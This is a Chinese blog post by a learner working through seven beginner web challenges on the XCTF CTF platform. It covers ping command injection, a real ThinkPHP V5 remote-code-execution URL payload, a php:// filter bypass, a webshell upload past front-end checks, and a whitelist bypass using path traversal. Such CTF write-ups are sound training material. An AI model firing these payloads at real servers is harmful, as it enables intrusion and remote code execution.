• 攻防世界题目练习——Web引导模式(一)


    难度1全部写过了,这个系列里没有
    指路:
    攻防世界题目练习——Web难度1(一)
    攻防世界题目练习——Web难度1(二)

    1. command_execution

    题目:
    小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
    在这里插入图片描述
    题目名称是命令执行,想到了命令拼接,但是忘记怎么拼接了,于是查了一下资料:
    攻防世界web刷题 新手区 command_execution 详细解!!!超详细
    【web安全】——命令执行漏洞(RCE)详解
    可以看到,命令拼接符有如下几种:

    Windows下:
    & A&B 无论A是false还是true,B都执行,即互不影响
    && A&&B 具有短路效果,A是false,B就不执行,A成功,B就依据A的结果执行。
    | A|B 表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行
    || A||B 表示A命令语句执行失败,然后才执行B命令语句

    Linux下:
    & 使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’,可以一口气 在后台运行多个命令
    && 同Windows下
    || 同Windows下
    ; 分号,可以进行多条命令的无关联执行,每一条执行结果互不影响
    () 想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用 圆括号()把所有命令组合起来。
    于是我们尝试用;连接两条命令:
    在这里插入图片描述
    尝试用find命令查看带有"flag"名称的文件:
    Linux下查找文件(find、grep命令)
    find / -name “flag*”
    / 表示在根目录下
    *是通配符
    在这里插入图片描述
    然后再用cat命令查看
    在这里插入图片描述

    2.xff_referer

    题目:
    X老师告诉小宁其实xff和referer是可以伪造的。
    参考博客:
    CTF/网络安全|攻防世界 xff_referer 解题详析
    xff-referer伪造ip地址和域名
    姑且理解为:
    X-Forwarded-For展示的是访问来源的最终客户端的ip地址
    Referer是从某个A网站显示的B网站的链接来访问B网站时,访问B网站的请求包里的Referer就是A网站的域名。
    在这里插入图片描述
    在这里插入图片描述

    3.simple_js

    访问网页就弹窗,不是很清楚从何下手,看到题目名称js,想到javascript,就F12想看一下源码,居然真的能看到有用的源码:

    	function dechiffre(pass_enc){
            var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
            var tab  = pass_enc.split(',');
            //string.split(separator,limit),字符串或正则表达式,从该参数指定的地方分割 string Object。
            //从函数体外的最后两行代码可以看到,函数dechiffre的参数pass_enc就是要输入的密码,以','分隔后赋值给了变量tab
                    var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                            k = j + (l) + (n=0);
                            //j是我们输入的密码的长度
                            //k的初始值k=j
                            n = tab2.length;
                            //n是变量pass的长度,数了一下,是18
                            for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                    if(i == 5)break;}
                                    //在0<=i<=5之间,将tab2[i]的值存入p中
                                    //没看懂o=tab[i-l]有什么用
                            for(i = (o=0); i < (k = j = n); i++ ){
                            o = tab[i-l];
                                    if(i > 5 && i < k-1)
                                            p += String.fromCharCode((o = tab2[i]));
                            }
                            //k=j=n,将n赋值给了j
                            //5
            p += String.fromCharCode(tab2[17]);
            //tab2[17]=65
            pass = p;return pass;
        }
        String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    //自始至终,dechiffre()函数的返回值只会是变量pass的初始值
        h = window.prompt('Enter password');
        alert( dechiffre(h) );
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    alert()函数会用一个弹窗显示出函数的参数表示的信息。
    参考博客:
    JavaScript split() 方法
    JavaScript的三种弹出提示框(alert、confirm、prompt)

    随便输入错误的密码,看到弹窗如下:
    在这里插入图片描述
    源码中的变量pass应该就是这一串字符,根据上面的分析,应该无论输入什么都会输出上面这个弹框的提示。
    唯一可能存在flag的就是这一串了:

    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    
    • 1

    随便print一下进行ascii码转换,再将获得的字符作为十进制ascii码再次转换:
    在这里插入图片描述
    参考博客:
    [CTF/网络安全] 攻防世界 simple_js 解题详析

    4.php_rce

    对不起,我浅薄的网安知识让我以为php_rce是指php源码,看了别人的解析才知道是一种漏洞的名称TAT
    放一篇参考博客在这里:
    [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。
    看了博客才知道,原来是利用ThinkPHP V5的已知漏洞payload的吗?!
    (原来是用这种方式解决的吗.jpg)
    博客里尝试v5.0.20版本的漏洞payload是可以用的,尝试如下:
    URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd命令

    ls
    在这里插入图片描述
    find / -name "*flag*"
    在这里插入图片描述
    cat /flag
    在这里插入图片描述

    5.Web_php_include

    打开网址后看到显示源码如下:

    
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    可以看到,strstr函数会检测参数 $page 中是否包含字符串"php://“,若包含,则用空字符串”“替换掉 $page 中的"php://”。
    因此需要绕过strstr函数的检测,同时,我们还需要可执行命令来查找flag文件,在php伪协议中,可以用php://input 在post的请求体中上传可执行命令。
    查找资料后发,strstr函数对大小写十分敏感,因此考虑大小写绕过。
    在这里插入图片描述
    可以看到存在文件 fl4gisisish3r3.php(flagisisishere),于是我们查看该文件:
    在这里插入图片描述
    更多方式参考博客:
    XCTF-攻防世界CTF平台-Web类——4、Web_php_include(php中strstr()函数绕过、数据流协议)
    [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议) - 秋说 - 博客园

    6.upload1

    查看网页源码,可以看到对上传文件的条件检测:
    在这里插入图片描述
    如图,check()函数会将/^.+\./替换为空字符串'',并会检测名称是否包含jpg或png。
    这题真的比我想得简单多了,居然最普通的一句话木马文件上传就可以,一句话木马:

    然后就是BurpSuite修改文件后缀,把jpg/png修改为php
    没有很多过滤,直接上传成功,还直接显示了上传文件的路径,感觉我前面看源码想复杂了,不知道那个replace函数的替换起到了什么作用:
    (又去搜了搜别人的解析思考了一下,这个replace应该并不是针对文件后缀的过滤吧,可能只是为了便于数据处理而进行的替换,并不是对上传的文件名的限制)
    真正的检验应该只有后面判断是否为jpg/png文件,而且这个属于前端校验,就是只在前端上传页面进行检测,就算检测不通过文件也会被存储,只是会在前端将按钮灰掉不让上传,因此也可以通过修改前端代码的方式来取消文件上传后缀的限制。
    在这里插入图片描述
    接下来用蚁剑连接找文件:
    在这里插入图片描述
    还是对这些文件存放的位置不够熟悉,只知道很多在根目录下,还是看了博客才知道很多也经常放在www目录下。
    参考博客:
    XCTF-攻防世界CTF平台-Web类——11、upload1(文件上传、前端校验)

    7. warmup

    打开网址一直转圈,于是用BurpSuite抓包查看response,如下:
    在这里插入图片描述
    看到了右边的响应中出现了一个 source.php 文件名,于是又用御剑扫描了一下目录:
    在这里插入图片描述
    查看了source.php,没看到和flag相关的信息,又查看hint.php,发现提示:
    在这里插入图片描述
    回过头来再仔细分析source.php的内容,如下:

     <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                //设置了一个白名单,只允许访问source.php和hint.php两个文件,下面看一下做了哪些检验
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
    
                //第1次检验
                if (in_array($page, $whitelist)) {
                    return true;
                }
    
                //第2次检验
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                //mb_substr(str,start,length)函数从str的start位置开始返回length长度的字符串
                //mb_strpos(haystack,needle,offset)函数返回 string 的 haystack 中 needle 首次出现位置的数值,offset是搜索位置的偏移,没有提供的话则默认为0。
                //故,该函数的含义是:
                //返回$page参数中直到第一次出现?之前的字符串(因为是从0开始数)作为$_page
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                //然后检测$_page是否在白名单中
    
                //第3次检验
                //如果不在,则:
                $_page = urldecode($page);
                //将$page进行url解码后再进行上述判断
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                //对$_page进行一次截断后再判断白名单
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "
    "
    ; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61

    参考博客:
    PHP mb_substr() 函数 | 菜鸟教程
    PHP: mb_strpos - Manual
    在上面的源码中,可以看到一共进行了3次检验:
    第1次是直接将整个路径进行白名单匹配;
    第2次是将?前的内容进行匹配;
    第3次是进行url解码后再匹配;
    总的来说就是,只要我们构造的file参数的内容能够满足这3次检验中的一次,并且要访问到文件ffffllllaaaagggg。
    我们并不知道ffffllllaaaagggg的准确的路径,需要通过足够多的…/构造的相对路径来访问这个文件。
    其实并不是很清楚具体原理,这个又好像属于猜测路径。
    在这里插入图片描述
    如果要构造满足第3次检验的url,则需要对?进行两次url编码,因为路径在通过url上传时浏览器本身就会自己进行一次url解码,而第3次检验又需要进行一次url解码,因此需要编码两次。

    参考博客:
    攻防世界-web高手进阶篇-warmup

  • 相关阅读:
    Hadoop3:MapReduce源码解读之Map阶段的TextInputFormat切片机制(3)
    Java 多线程案例
    DBAPI如何使用数组类型参数
    手写一个民用Tomcat (04)
    Doris 集群的手动部署
    创建型模式 - 抽象工厂模式AbstractFactory
    ThinkCentre台式机windows重装为linux找不到硬盘
    香港服务器如何做负载均衡?
    怎么禁止WordPress后台加载谷歌字体?
    分库表数据倾斜的处理让我联想到了AKF模型
  • 原文地址:https://blog.csdn.net/qq_48550824/article/details/133384727